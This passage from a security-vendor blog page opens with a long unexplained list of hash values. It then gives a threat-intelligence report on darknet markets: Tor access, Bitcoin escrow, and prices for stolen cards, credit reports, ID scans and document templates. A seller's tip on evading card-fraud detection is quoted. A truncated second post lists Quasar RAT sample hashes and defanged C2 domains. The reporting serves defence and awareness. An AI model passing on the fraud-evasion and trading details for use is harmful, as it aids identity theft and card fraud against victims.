2c821b1aadd0b0606a480d66790700bf77229aeb9a540fdc989667a61c38be05
97ac4c6f670374b849fdbdf43a2f1cbd1807fc0b419073e757c0ec429da51182
b6ddcd352d4345186b9537f12cc82c9aa85697e681858c8b686b18c3b9f66b56
c4c5fdc968d350ad7646a988e768bf275a2484296042590378288e5b955942be
380a1a709b01c3f3b7f0198e9a06faa6918c6d14dc52f7f75a5384f71ade30a6
920287016bf31fab721b67c4be8c181655701f56a6f54c0e52dcba58b5922f50
17fb1bdebf607fd0db97785f4c5fecf6625d528cbae5f0535dd575294ec63a15
67597bc132585a083f946a8853004a5cca9a215f15122b2969f0e3f27af06974
b782000fbb86bd69a8f67d4fe58526e1e2cb0ac6f92ecb52ca3ff8ad754eadc3
784e60507721c12f9d7cb20edd8d874a5ac29cbb6eec33629b16e49e0a564f51
2d11f5fafb07a3e1b311572c4ccce87a4a6615d8912929857d8ac07a632e1719
6d2c31e412f07246975eab4a15a8ad7829966efc8f638b25c64e504accaa7b93
db81b258a9eff00a892a8cec7409983d84ea04baa0fdc1fe9589ebf3f8636704
f9c54e8dffff277aea04447cfaf18e0255c27b4e5fc9606389c133795379f52c
20f83cdd0f35ff5d0d39241893370801a8206eb22cb85f34e3749ae8edaf778a
6f51b8555fb5f959dcbac46aca02106f1affdacba29988682b69eb5a6c9ce973
b6d06b8d03dbafbabf59b2b96b6d66fd0f754034770e80c9aee312a7270b30c3
241180a7c31bfeaec07210e348cbf860c87adc2340c6bd25cf41f82fbd6cd994
0da8134694f67efcf5ca82d638f48734b09a53d52b791abfcae29521989ecc28
d8890b413e9708ac7fce71f076cac0c96302d3af27edea66c36ea072bf14e1a2
23c0d83e04199229a0b0f98d1767cce992a9aa847f957d8d0a5bb045f92315d2
b789a5df1f5ebe997870323ad3802f691c83e19bc8a22bca82edccce17f5b57c
62f23d89d1876eef9d109392b4637450a2f87b7ccb02d7433a1dbcd4c1edf946
dc5d64bf089add373a24abc24a9185d93cf29edee7907ba3460712945b4d28dd
55ca978a8831c4a483c4dc88637edac5dfe050ebbd6f2e0d5e8c16669dc60a2b
c805f6fcc78ebcbb3170580626ea8616f4e06b9d4936e2fb6aae79a4410f1e0d
18bf92b767562e63326cf142481bc0c33a8650c80f20d611feb7a3de82de51a4
8c91edcc3541869bab5a2466fa0a8c075f9acac3badc8534c221a019ffe3ad7a
aae8a273f9bae5bf187ce9b3ba3ad945386bb38286ebcba38b7ccc1e8ad00c18
4f8d5b7c4e5cd429b1a27bf8b8c67ca6b7dcecf728b9362836633b5f46ecbf22
675e79744c4fffded353b45271638cc5cedeeb745597547f5ea029d14909772c
eae0fc7c52b8b5d9919129fdeeb5f59908d41873583a8f4169dfdb156afac5e6
59a46a335f8750210eada0aca256fab1d5cbec5c5f8563acdae58ba04ed4e0ce
639b095a360b75903d6fe72a0bb20efc0f15ed8ddafa92bcf16c3520f53990b9
b9c54dc17605268687f4ed80d2e52d888754d6d28dcaf62e6702b1711e5323ba
65e3121018d6bd04e28dd56e4dae9b11537a47368288ba8dd049be7642dd5460
009d1be4c0a33202ba87e12ac83f584560f19c7bbc1eccfe5a16636055f896b9
7a87a72e31e05662bbe20f3c38e4dec0ec798cd474564f1889240be80c970038
4cd730d8ed2a4d5b0f09707da83ee832187e6c13e243fdda777962cbb5830df8
bebdc8401979bd414a19a94dd599f2c5971f184f825350ca3647eb22c8e5c341
4f5c2e75bd0d4751a80770877f4f669e214b3b3047f9f9b623bacd2301e924a4
8e38d194a3aee0534afaf0297751d7e22e50477a1b0b265fb80763db58423a7d
e67806d0be3d3b44d3128691c08acbc5e19f8b4d07fc107327c4df013a2af57c
31aedd2a097552a9cbe8cd982e5bb5835d62c331f50663d1376c09566cc9f600
5a75141e0f3c941f36195ed0c59962c1bfc1d169167df6a398f3db097e497873
cafa05a6910d5d2e810837fae1af4d2f6b8fb665b2f4d60ae6a2c83c38560798
ad5795f71bb5935f5b13cebf2a09a066c14e919e9c2d92b52b4e91b4ea1e528d
27f7724ccffdb639199f48b1074d2961abb54cbd40afb1c14cdd9e9b85cc9bdf
e9408418e2f6f80b02372301b0f576a953d6b207a95727f4d6201ae3385a29bd
2d9be2fd8a918e7b651271f74f33d739f659cc5bf20bb96f55aabd71297427ba
14f284d7354499fd9a73d5725e74da849422d9f1cc823cbdb128146853bb385a
a6493a668482aaea9201522a8571ef4edd4c635c45be38d49c2d53043d16d3d4
62b7e5c327522e113d61665c513a5af78fb63269bb58df942f2a43f97168b7cf
29860b49473c93b9c1e57cfb96f1374605a49f9434f2479aaafb61e82afbcf57
de4f8b7a945a46d4fe73003a1e610414dbf5c3f167ad38077b7c531fd9d10fb2
203c70380046fbde35be55b58f06d3ef87fbc81f50f6401baf608aa2ee0db07d
f5e814538cc1dedb24af16e8a151c753fa68b09e3e9285692cd436fe8dbc6c0f
8c24a7af9c071c9a39d9dfe3f7b7bf31d715a52d3336129f15fa2b8e14c06137
b0f6656abadeb6505c6ff3eb92ad23f61806c31502676774c36813774b673f49
c70f80d7d7f2e992b427c198b578b3fd907848ee07611f2f1bc3b90986dd2b7d
e2a572fdf9b8b7a76509037c100d53c5895797f87d1be609377f4d2986649df1
fcd166f89653f3084685c9e85e4950aa22b24287b4fe9a12c5c35ea80dabfcab
d2ee9df1a46e752c77a828151105f8326617bbce7f100eec5caa1a98f0dd604d
a52149e5fa5ea0acf12b426c0efe4feec1c54d85071fd3dc8eea2e0eb18086ab
a7cf7a4381740369e87692315dbe1f3f74ee96a5bced002c03f0d14335e87268
9a385073ccd80f962a710fcc686b6e8fd2af39ee6b3d2404711e159ed6709ad3
b3063cadbc6dcbfa7e7b84e1785ce083566db1db453ce6d9dd5b03251c946b75
351e6001e8df4e0f0ffbb8875064da7cb4c00a46c7e78e5e5a329c301326cb19
0ee2ce7ccb2456ae34dec2422ce417b1ac212b00b02411cf14621fa1402356dd
522f6e19972574a0c33d1c2950c27b4d0a8950333643d0d026971b9b303faa3b
d4b39c83c3e343b8d4a889e346492e40dae52417088f191c06a8755d985a4c57
fcaf94a7b8350a467e486a992e69060e088c00614a0f5a4f5641fcd39bb79e9a
b5fc369daf027150ed929b4f3937e955160b7e329b6fcb8ddb4e3a8133024128
4f728cb4446b9afda12090edf32963b750d621050038000548171cc004c5a749
b4497e296fd82f24ecdbfda1c562e5f35ec8fbd9d505a764c44e0a9025b321f5
0f84fd9cbc611c42bd22ddaabb3787eda0699e9de42835fed483c92b47f84d2c
edd01dd32b53fa6c218a93dc192ace1e6a68b0b6ddc51371b0c70cb2ad41c897
41773222c470e282a914a2ced7b396a278d74f04721d45281b570ce4d218c87e
9e42f49eb246b6441d68299cd93e7ca3670084a21c277c09f46b8585dedda4a5
018dd2616adb9d2019c3bfe9d57f2c6665dc29dc891df55e0f55a28004419440
2e1713ea9af114c9b96df64719094fa9f039334ee7adc84998510a5b41637574
6b6caf9025252a01c0e7b39fce91e7080b6702c4c37e90238569dedd3a1c9812
b982c7ccbd44b5966435677cf192b32288856809f64756dd0310e407b30b233f
5c3f5b20b9cc11e2a2e4490f1bad87038604160b6af963dd7d8a15bcbba8bde2
e8d8883c83b157f9d63725fe47eb37adfc1bf2d930c051d79f46882a1e48ddde
51d1a97beaa356625f1f08968d53c5bdb038d2f5ba2c2f3e4708b31a0324cc79
90d6b756d1e96f2ee6f155cdc1fb9c446bae49bccb647465ed939cdb0c2a529e
8066e1c172af6e66dfa291bd8b3adb82dbadf973f2979e5ec9c49af3e1fc19ad
87f9117daa3177726633374a72701243d30b472016031fb32422012ae665fc42
c4470c8510e3e26b34650be4b4e8e8b22f3d41a6a2eabf2b2100a8f8be3cd06e
18dd3231fbbfb2e97195cf04b29a05a3d6c540a78ee9830388b50e31e877c682
d48682110e84327dbe367e533f33f339577c8a8988290e4fb3a5fc5a4ffe18e7
62bdf2b515f9ee512b85eccbbd0676e4e772994870c513e4afb6a550dbe85b96
115f70d230b097b1a3136394b4075594aacd5a1f225ba237cd5707adbe28a862
8d7a4fd6f9bedcedd9b7722703132295e56fa9b36e76e5f41b633708e011f3d7
f219a70c67907160a375718aca0ddd141a5a0d36b2c5a77e2a5b88ee4940a9c7
d12457bc48670045141423bd344745f93119948a1bbaf212dbdafb3c2f1b4250
04c25d5af8ebe51308d78d8787240c7d4057b7d26b755196892bd0b19a6a0387
b259ea6a57a02f15e05b07d18ff278a3db52e2fcc78bd0b0ed3f790d051b4740
05bf4501e024484235d8fe783e02069586547f05aaf22500a4ce887f0b97e77c
037bd77ad772e41d74c7bc15e89af0095a9792680950edfccb6e06c97a521e2e
c24a470f25ce17f9e2657b2fecfd650afb03e17e18acabd7f60f9456bfcf7781
bee5d3c44a17abd07157e195d0ee0480cc7e47232f3edbc6f333b0b03418de0a
8e2fa7dde4fe36b949508d51ffcc7b4e99495ffc93ab4728a18ced93ce04450b
f0d3981462a3f293fb0029d8db1da2a8151bec7fabf7d515d303d77d4ee60c99
3174d2ede7e0385f25b5b10b395c12c3c640dfd84e18efed2a76c9325e053c20
afb4dd18d0b858e073741b2c329994960aabcf0058bda3255c6aec626c81bff2
bf8b00eda1f6b5152ae09acfb98026ce2acbd0b28c42aa0968ee2b98348ca9ba
8f79bff125b98c5865c23e8ec907672e14f93744189f1b4ffe816805072a4281
649b46f0c7c55e3c04feee6c155cad11856cb51676a14d6466810b3c3b3c5929
223b4732a0d8d51c7286b06fbddba76b3dbe85731870c7480b054267a427882c
bf3d9397916eaa3330d71a201bc7babc63a9bc959c55445425e0074129e086ec
075c7fdce6c1c75c8862819c4ce67f28fa5e136b7fce8ca581aaa0fa722cd6ad
7a54fe769e7e761bc48a6cc6aa0454a46934514d3f14b899f2a369037d9e8868
88389b0f935a993515a45555ec4d93672402dff10abedf44b8fc51b173e65869
50349613c6fbac2b344f5b7753a165620be112a674763153a6de497df43589af
e6c1861f51231eaa33e6c6e3dd0fc0168ced641af811b29b30ce6ebeeb681c40
115dd4bc7ad38c95b0fc2e62cee716f13169762a27d74fe2b8cf8514e3d0847e
6a6b275ebd34ddd8e7273b0d8ba81f5a47154e559816625595ec1c16f16ad1cf
47f72151463862d863bb2bca5aad869cf07056a190e3b419f319d0d1ed48f42f
36c850d42c69534d156c9cbfb6d742c3174d61adf870edbdba4e510e34039c49
6f7970f6831a647da4ab9727535a599e602d94623a295209c3248aafe84c5ee0
f705eb07b29abd9de90843dabf7f44593d34f1065cd622885fa885e1877bb90e
2217da4c3df09c9b675e8904ee51d7cd791469d4ebaf985bf6a2800e6145a948
1a796b42fc43e5a646f619319f9fe5d53aaa4c8c59b147d523eadd03846baca5
78b3a73fb8b29a0f06117f386546fd97e6dfea06ad7ede29ae1ba212b0befc46
987667455144351324f3081a80751cf43fd562437c88026bb6dbb11f3c8737a7
093555823e8e1fd7463637a151ab4a3df461b6c8a25223ba209c0b42310c7398
7d5496e7d40ab1c2893b54a3bfcd3acac447a0e031e762b2149c53560e1675df
5f72291e2b93e2ba00da91c39704db98414c8e102d95d6ee5eb5cd3fa0951160
28e8bf1314d1c481cbb47b44364d3b9f6219e73943879b26251f15113c47bce4
ba31d49658e1dae50d656cf066503187f4b7ef30a2a0891f44a92c548bdd17f1
76978f754001b1888d9f3ad235639dafa5cdf63f08a47a260831b68adb951769
cdf0f9967a7d7fd574d291b3377632350d3c049b6a0fa10d4af6d4abe67b5266
153d6d64d4f03687be35f694ad5a71b110d26c8d54ac1b213ad00a9c2689c2bc
dce2b7c9b0d0ea08eab5911ba20c299e91063ee3e10112b78cf414165d875f1b
de2b2e025c205479f412453290c35b63c6e94655de559e243c65dcd6b6aad1d7
7ca569d5d4f9936e31faabfe00dd02064ecc00121957959117f875f60b11922f
6397208c697a0541d7fa79a9a3e7f8d32223c20c85858fbefa96ecd675945ff6
3c6337b597a847c68269a447d8fb716c9ef79bd35cdca2342efa74f4915192ad
14387e3ff0ca651eb05025ca05c1ddd17bac0639be39c505b9dbed71fe9b3137
76b313b8906a9a19af67cbedac5c109bd0d036560a97aa7f345eaf9c90db5c53
b65bde1984d76466d6da12059aad5213c6b1de61f7f6e694b35ba15bbcc0dc98
6109f63d8cc209bee8b57ee7a35cc5fde8823fd37177ef775757f726798520db
219edd89942ce23bcb3a139759ba19c099084c93d301700f40b7fef414d8ca3a
5b1de6e0679534abb19fb3f7b5c4df4ae900e903cec6b4e2ec651ce3ca6d247a
57a841c491c7c4f702a4a3fb0814754018aa7d22c3f192acf19475156e8285b6
c3701090514fb846a83587301a2e63ff63632029b9a1779a25783cc73976c92a
b14d8eeb74ef1998ab0810dba152b3b055a6164d0c7d53461d6b8d6d55648699
a262614704b19ea9bf58266cc3bd17408e4979d4fd7483b6d96244966078a010
619c3847cdf9b2a7a3f13bd2be8af1b56e6df39c2424cdbe7d9b8962ddbb4e16
c964cf49374d5001a0d8e94b4981e3997a898c4e4a9adf9293fd872359ebe34d
18c2d3ddb4f937f580ac4b04edc969ffba27647c5feed84a20cd69a99753d088
3241f26a263314754cfc83bae912699f0c25f1f66110f715f2b3056f43705143
1f79ac7f0201584d6ea7d6b0c96d2285572ed4a191e765a20f5ccae6ebb2f34d
39b7ce2df93eb2e0b9f2ce26a3fb75841585005a9ee2da3b1285c3c942347015
43fbede2d81121935a2b186885a017c300d547b51e62c4d8f4e8abb736b1a248
49fdb3e17fe1abe377efccf40dfd33b81ba4e1f7eb71cff20ce384baa80536a2
e295759d8b341f2439c0c8fe649cab6b789b59cf02a370eab901bd97e9edf39c
bebc952556088b9e9181ac27b268f0bd68f973d1d9ee193a928d6fda8e4bd09d
13d69010410bc20918f5d126efecc497d98d675ca714815652a28b7dc8a6f4ea
65758d6ed0aa38a46c67dd1f5e6b5b4e683a24866f9b74964c64ac40b6438596
b790ea9f8a4c66fa606fe9588e6a6b530222928f95d0f24013b01d2ccb4f529b
5d24d262b62c3024f511f03334d0ecb38fe2b9430650c295ee34aecfe5e21b4e
50e57d18cdc240d5c6c86dd34d7a7377d1dd27a261d0d9e6e2fc9a1e2c40d1d7
209426520c8057c26a6ece290272b0c8ae43143ac50ae8d0b5d7c8f5bd6b84fe
517e653ef19bdb890d0e5ef463883a4a07b1fc80cc744be118ac1aa9ee7ec387
a10687e18624b2892356e76c50e35c3694a02232d6cf38d4ddd7b7179334b60b
a72e9f99c9a974b331daefc28ccc0d7abdc677b4a36ac5e7656715868019c5f4
767a721e1bab73766a3f8effd34335d88a5c056ab3bf2d4149ee357d1242ad4b
54d3ca5af4380eeefef22bbe1d616ddd2e271ee530b06f290c5b0cda5f6b406a
cc45029445077d8d97b56e082656ab5419d822923977e483deca7754fb02e964
37b8555c0f25645850081a7d9333fac1ee551ae46b9352dc5b51b3af699dc226
528e5b4ab20745d773da1e14be0da5e466ab48e9f6028650a25701315e074a70
0b7857fde5312af28a68621fed4ac095aa4b5b21fe90426fad692b1bc97de517
f5ab96680a2f21c1f5a8d68ea563e0dae9576363fc55ee4ef636efb0f96305f4
3793ff12755d90dfd26a955fc0400f59d83bfe0b60f69ccbaba068deb0fcf80b
96e55f5d545c074c4033fbc1cbd2f158e23fe4d9f17bc44a8bc62b9452e7301e
c3e1bf7be1780bf38e61d552379f832c8d1e1ebdb3420237d9374d2c9d9b40c3
c58ab8c4fc460263768452711e9f3e18aa95f41373f965f23c86a7175189d040
02779a9dbb4d79e5f82c6055e509596f9476615a085ef39170c77b64f446b5ad
7dafa710e0cdbfb09ec7e2a12930a14e229478d3fa07337ec568dfc154f1bee2
5a9d754c87c03f39f829cf77323dc8c3e18a581d4b6efff798653f5e0bcf400b
2bf1481d37b2c91ab46676e63ef261fa968ac67a27e9eaff4773202a415d1024
70051995172e84b35b8251786c0c7dd9cd93ee44860e8384376e5491a55ece57
86f630a78192c157ff9fdfc8a3e99de4d61d227154efd19b90f91ad4bf8d5d8c
da2625c72a7d295dfdc731573681f7572443c546dff650ef21df09f16fd78aea
ded4bbe722f2f0a3c123f4221e88a36d6cbbb8c7d5bd84e2a019b82999b90021
7d7cb8b750fd51e73749fc50b93f73bf6242076c0df5702e96f1d29fad3208d2
4c225e8059a6abd6724120733da19b07ba7672e32e3dc58d1cf2d8f3df757feb
5dd97af794eadaa6955ecbec604a43977ae4f5484590d7da6ddcf13c77baaff1
1103fc1fc384ce3caaf4efe98e99cfa9d6ee6c3317572165756bbab6535d9b0f
8a65215c55495de5701a3f644141449d7519c41d61a5921aad4c33074c8b99c2
d7d2fe407f19187fdb699fb2cb118891e82d9cf61e69ea9779028b8ce33ddfee
5a93affe27209627f978c4df1f7285734e8f17597aa404ddc993c340671a4be5
e1fdd18455a4b256616f450af719721596804987a5fed0f8ef8fb0a96ab3b45e
edaccdde124eadfed40f072d4c19b62a787c2efea9a67248efef60df8759602d
13cc6b6c6d77cfd95f6b7e08e279cc6cb7cd149cf99260a4ab1889df30867d97
18cfec8bcfecdfcd1f705ebe0eac73bf9fc37ae23023c40b5145a55960951213
986d86973ce80e22ccf3225b74c9e029abcce5a70c2977e841abdf1a92cf590c
6dc9e636ae0df8adf9ca10aed0b2d730970f5cd08d9689711ce8a0a2b037f1a3
86b53caf1eb03bbbb79d242ad84b47f66a9653781a20734e6616edb7aea6145a
944f0e4c1596ebdd0a2be10909cfa694d0b0ef8c7780ac2cfcbd47783b3412dd
f105d49f51b58d5933fa473fb0ad0ff4defaf99a49f9acc6f4d62ff5140c5f3b
024e1ebab660c8ab023fe17ecd181ad59032094da4f38f5056af0255291c24e0
6af78d42f3bcf34872f6f6de66364d7e8d352cfabe2622c412ddbb1e87886a7c
532a729c6f7587c68e8e69b2e5e93ef980ee310e19f8fd10a611e0e03608bb80
177d447145d70a354521949cd50509efa12f7a2f9fa7735fd98beac8c610de7a
1562995de8d09b7413299362a8f2dbed7c87148177628a247c20fa935fab82a6
1bcb5b03ca5fed28cfdedd995c2721f1d7e384b72e970c861f46acbaf6fdf0a8
effc998acf696bd9a660bfcfebd5c9204b1941ea60ad2897fa11e229b083d6da

Exploring the Cybercrime Underground: Part 4 - Darknet Markets

Posted on by vickykhan

Introduction

Parts 1, 2 and 3 of our Cybercrime Underground the cybercrime series discussed some of the concepts and definitions around cybercrime, and how cybercriminals collaborate in cybercrime forums in buying and selling malicious tools and services. This latest report in our cybercrime series will provide a glimpse of the darknet markets where cybercriminals buy and sell data which have likely been stolen directly by compromising victim computer systems or by the result of a large database compromise. This blog focuses on explaining what darknet markets are, common payment model used, the type of digital data being bought and sold in the darknet markets and their typical costs. The objective of this blog is not to provide an exhaustive list of all the products and services being sold in the darknet markets but to shed light on how cybercriminals are utilizing the darknet markets to trade with impunity. It is important to understand the impact to the growing number of cybercrime campaigns and how the stolen data is monetized by the cybercriminals due to the demand in specific PII data in the darknet markets.

Many articles and research published by the information security industry discuss how cyber attacks can be broken down in phases which is widely known as the cyber kill-chain model. Darknet markets also play two important roles in the overall attack kill-chain. First these markets allow cybercriminals to purchase tools which are then utilized in specific stages of the kill-chain. For example: Malware creation and exploit tools which are sold in the darknet markets aid cybercriminals during the 'weaponization' and 'exploitation' phase of the kill-chain model respectively. The last phase of the kill-chain model 'Actions on Objectives', specify the objective or goal of an adversary. Second, darknet markets allow cybercriminals to achieve their goal of making monetary profit by selling the data which may have likely been stolen from victim computer systems. It is also worth noting that not all digital data being sold in the darknet markets are gained from the result of successful cyber attacks. Insider data theft can end up in a darknet market as well. Insiders with the knowledge and know-how on sensitive information can aid in creating fake identification products which look authentic. For example a former Australian police officer was arrested in November 2016, for creating and selling fake police IDs, security and maritime passes in a darknet market.

The darknet markets today have increased in numbers as well as the number of users- one of the primary reasons has been the anonymity the darknets provide to the users to perform their illicit and illegal trades as well as the decentralized architecture provided by the Tor network which makes it increasingly difficult for law-enforcements to take actions against darknet markets.

What are Darknet Markets?

Darknet markets are websites which are hosted on the deep-web and can be accessed typically using the Tor network. The products and services which are bought and sold in the darknet markets can range from stolen credit-cards, personal information & ID scans, personal credit reports, operating accounts of online payment systems, email accounts with stolen credentials, counterfeit items, malware & exploit kits, drugs and also weapons, among other illegal products.

Access to Darknet Markets:

Darknet markets are hidden websites which cannot be accessible using regular browsers or search engines as they do not have an actual DNS name. Most darknet markets have a .onion TLD suffix which states that it is a hidden service and can only be reachable by the TOR network. A .onion site consists of 16 alphanumeric characters followed by a .onion TLD. The 16 characters may include letter from 'a to z' and numeric numbers from '1 to 7'. Below is a syntax of a .onion hidden service.

SYNTAX:         [digest].onion

The digest is the base32 encoded value of the first eighty bits of a SHA1 hash of the identity key for a hidden service. Once Tor sees an address in this format it tries to connect to the specified hidden service. Many darknet market users also use a VPN network to add an additional layer of privacy to hide their source.

underground_4_1

 Figure 1   High-level depiction on how darknet markets are accessed using Tor

Payment Model:

The payment process in the darknet markets has followed the process which was used by the “Silk Road”, one of the first and best known darknet markets. Purchases in the darknet markets are typically made using virtual currencies like Bitcoin. An individual who wants to buy a product in the darknet market needs to credit his/her darknet market account with Bitcoins to make purchases in the darknet market. The buyer purchases and moves Bitcoins to the darknet user account used by the buyer and makes the desired purchase. Once the buyer has initiated the purchase, the respective cost of the purchase in Bitcoins from the buyer's account are held in the darknet market's escrow until the order has been completed. Once the purchase order has been completed, the Bitcoins are released to the Seller (Vendor). The figure below shows a flowchart of the payment model being used in darknet markets.

underground_4_2

Figure 2    Payment model of Darknet Markets

Common Types of Data Bought & Sold:

Darknet markets provide many types of illegal products to be sold. This blog will not cover all the product types being available in the darknets but cover some of the most common types of information/ services which are transacted by cybercriminals in the darknet markets. Some of the types which we will discuss in this blog are:

  1. Credit Cards/ CVV numbers
  2. Credit Score Reports
  3. Passport Scans
  4. Driving license Scans
  5. Document scan templates
  6. Compromised account credentials
  7. Malware/ Exploit kit services

Credit Cards:

It is not a surprise to see ‘credit cards’ being sold in the darknet markets as they are further used to commit fraud and are also used by cybercriminals to finance their requirements and make profit. There are multiple ways in which credit cards are stolen – some of which are phishing scams, ATM skimmers and also by people in the industry who have access to customer credit card information. Credit card fraud has been costing the financial industry billions of dollars and due to the high number of credit card frauds, the financial industry may find it overwhelming to investigate every fraud incident and may only tend to focus on cases where the cost of the fraud is very high. The cybercriminals / fraudsters are well aware of this challenge and try to perform their fraud activities by transacting small number of transactions on each card to avoid being detected by anti-fraud systems. The below snap shot was taken from a credit card sales ad at a darknet market where a seller also provides advice on making less amount transactions per card to avoid getting detected.

underground_4_3

Figure 3 Seller advises buyers to make low transactions to avoid detection

The typical cost of credit cards being sold in the darknet markets can range from USD $1 to $25 for each card. The cost is higher if there is a confirmed high balance or if it is a premium card (platinum, business, corporate, gold). Some of the costs can be much higher if they come in a bundle and may also include how-to tutorials on making the most out of the credit cards to conduct fraud.

Figure 4 below shows some of the most recent credit card sales listings on a darknet market.

underground_4_4Figure 4 Credit Card listings on a darknet market

Credit Score:

Stolen identities are in big demand in darknet markets as they allow cybercriminals to conduct fraud using real identities of individuals who could have been victims to phishing/malware attacks or organizations holding PII data of their customers getting breached. Credit Score reports are one of the most highly traded PII (personally identifiable information) in the darknet markets.  A credit score report is an analysis report of the credit worthiness of an individual and the credit score depends on the credit files of a person. Financial organizations use credit score reports to assess a client’s credit history which is used to approve loans. Credit reports are not only used by financial organizations but many others like governments, insurance, and many other organizations which require a credit history to process a request. The price of the credit score lists depends on the score of the report, with the higher score reports going for a higher price. Figure 5 and 6 below shows two examples of credit report listings which are being sold on a darknet market. A credit score of 750+ costs USD $50 in one of the listing and another listing shows a score between 720 and 820 would range between USD $ 49.50 to $100.

underground_4_5

Figure 5 Example credit report listing on a darknet market

underground_4_6

Figure 6 Example credit report listing at a darknet market

Passport / Driving License Scans:

Identity documents like passport and driving license scans are also in high demand as they can be used to commit fraud which can range from opening bank accounts, PayPal accounts, purchasing real estate, and perform any other transactions which may require a scanned copy of a passport or a driver’s license for verification. Many developed nations have a robust digital architecture with public services being available online where such scanned copies can be used to process and transact services by using real identities which are being sold in the darknet markets, further fuelling the opportunities to commit fraud. Even developing nations are not immune to these threats- Nations like India are investing heavily in transforming its digital architecture to provide public services electronically and encourage citizens to use the internet and the online services being provided. Given Personal Identifiable Information (PII) data are used in many such services, these type of information are in demand in the darknet markets as they can be used to conduct multiple types of fraud.

underground_4_7

underground_4_8

Figure 7 Listings showing passport and ID scans of India and UK being sold on a darknet market

Document Scan Templates:

Another type of listing which is quite regular in the darknet markets include but are not limited to templates of passports, driving licenses, SSNs, bank statements, utility bills, credit cards, tax statements and invoice receipts of different vendors. Figure 8 is an example of a sample of an Australian passport template which has the same passport ID details but has different photos of individuals. The seller of the below template also shares that any details in the passport including the photograph can be changed and it would still look legitimate. The seller provides full editable versions of the template in .psd format which is an Adobe Photoshop document format. The seller also provides download links to cracked versions of Adobe Photoshop so the buyers can use the .psd files without needing to buy a licensed copy of the software. Each .psd template sold can cost between USD $20 to $100.  However, many listings have these templates being sold in bundles as well- For example a list of 9 templates for Canadian documents consisting of passport scans, bank statements, invoice documents and utility bills is selling on a discounted price of USD $387 where the original price would have exceeded $500 if bought separately.

underground_4_9

Figure 8 Scanned templates of Australian passports being listed at a darknet market

Compromised Account Credentials:

Credentials of many online services which include banking, telco, social media networks and many more are being listen in the darknet markets. Figure 9 shows some of the listings of compromised accounts being sold at a darknet market.

underground_4_10

Figure 9 Compromised credentials being sold at a darknet market.

Malware / Exploit Kit Services:

There are many types of malicious tools and services being sold in the darknet markets, some of which we have already shared in part 2 of our cybercrime underground series. Figure 10 below shows a listing on a darknet market for a Ransomware and BTC stealer setup service where a seller provides the tools and also configures it for the buyer.

underground_4_11

Figure 10 Ransomware service being listed on a darknet market

Impact:

The global cost of cybercrime has been on an alarming rise with the estimated loss to be in billions of dollars, with some reports indicating that the overall loss could be in trillions. A large portion of this cost can be attributed to the fraud conducted due to stolen PII data, some of which we have covered in this blog. For example- In Asia, Australia has been impacted the most due to identity crimes with an estimated loss of AUD $2.2 billion annually. The Australian Federal Police also mention that identity crime has been a key enabler to 'organised crime' which in turn has been costing Australia AUD $15 billion dollars annually. This really shows the vast impact nations and organizations are facing due to the identity and PII information being stolen, bought, and sold in the darknet markets.

Conclusion:

Darknet markets have allowed cybercriminals, fraudsters and criminals who trade in weapons, drugs and illegal products to trade without much concern of getting caught due to the anonymity provided by the deep-web. Though it may be difficult to identify the perpetrators who are managing or using the darknet markets for their profit, global law-enforcement agencies are continuously working to bring the criminals behind the darknet markets to justice and the number of successful cases has been growing where many criminals behind the darknet markets have been arrested. Large percentage of internet and online service users are often unaware of the threats in the digital world and tend to not follow common online safety measures to secure their personal information or their systems, which eventually result in their personal data being stolen and traded in darknet markets, where the information are further used to commit fraud. It is imperative to have an understanding on how these criminals operate and the type of information being traded to better secure ourselves.

Organisations should follow industry standards on securing data and implement security technologies to prevent cyber attacks and reduce the risk of data being stolen and traded in the darknet markets. Palo Alto Networks Next-Generation security platform provides a holistic solution to protect the digital way of life by safely enabling applications and preventing known and unknown threats across the network, cloud and endpoints. For more information on the next-generation security platform visit here.

References:

  1. http://blog.paloaltonetworks.com/2016/08/unit42-exploring-the-cybercrime-underground-part-1-an-introduction/
  2. https://en.wikipedia.org/wiki/Silk_Road_(marketplace)
  3. https://en.wikipedia.org/wiki/Darknet_market#/media/File:Marketlifetimes.png
  4. https://gitweb.torproject.org/torspec.git/tree/address-spec.txt
  5. https://svn.torproject.org/svn/projects/design-paper/tor-design.pdf
  6. https://en.wikipedia.org/wiki/Credit_score
  7. http://digitalindia.gov.in/content/about-programme
  8. https://www.deepdotweb.com/tag/arrested/
  9. https://www.ag.gov.au/RightsAndProtections/IdentitySecurity/Pages/Trends-in-Identity-Crime.aspx
  10. http://cybersecurityventures.com/hackerpocalypse-cybercrime-report-2016/
  11. https://www.juniperresearch.com/press/press-releases/cybercrime-cost-businesses-over-2trillion
  12. https://www.afp.gov.au/what-we-do/crime-types/fraud/identity-crime
  13. http://www.abs.gov.au/ausstats/abs@.nsf/mf/4528.0/
  14. https://www.ag.gov.au/RightsAndProtections/IdentitySecurity/Documents/Identity-crime-and-misuse-in-Australia-2016.pdf
  15. http://www.lockheedmartin.com/content/dam/lockheed/data/corporate/documents/LM-White-Paper-Intel-Driven-Defense.pdf
  16. https://www.paloaltonetworks.com/products/designing-for-prevention/security-platform

Downeks and Quasar RAT Used in Recent Targeted Attacks Against Governments

Posted on by Mashav Sapir

Palo Alto Networks Traps Advanced Endpoint Protection recently prevented recent attacks that we believe are part of a campaign linked to DustySky. DustySky is a campaign which others have attributed to the Gaza Cybergang group, a group that targets government interests in the region.

This report shares our researchers’ analysis of the attack and Remote Access Tool (RAT). We also discovered during our research that the RAT Server used by this attacker is itself vulnerable to remote attack, a double-edged sword for these attackers.

Attack

The initial infection vector in this attack is not clear, but it results in installing the “Downeks” downloader, which in turn infects the victim computer with the “Quasar” RAT.

Downeks uses third party websites to determine the external IP of the victim machine, possibly to determine victim location with GeoIP. It also drops decoy documents in an attempt to camouflage the attack.

Quasar is a .NET Framework-based open-source RAT. The attackers invested significant effort in attempting to hide the tool by changing the source code of the RAT and the RAT server, and by using an obfuscator and packer.

Detection

Unit 42 researchers observed the Quasar RAT being prevented from executing on a Traps-protected client in September 2016. We observed these Quasar samples:

File Name:  f-secure.exe
SHA256: 99a7cb43fb2898810956b6137d803c8f97651e23f9f13e91887f188749bd5e8f
Note: connects to hnoor.newphoneapp[.]com

File Name:  HD_Audio.exe
SHA256: 0c4aa50c95c990d5c5c55345626155b87625986881a2c066ce032af6871c426a
Note: connects to manual.newphoneapp[.]com

File Name: HD_Audio.exe
SHA256: 86bd78b4c8c94c046d927fb29ae0b944bf2a8513a378b51b3977b77e59a52806
Note:  crashes upon execution

File Name: sim.exe
SHA256: 723108103ccb4c166ad9cdff350de6a898489f1dac7eeab23c52cd48b9256a42
Note: connects to hnoor.newphoneapp[.]com

Further research found other Quasar examples, an attack earlier in the month 2016 on the same target:

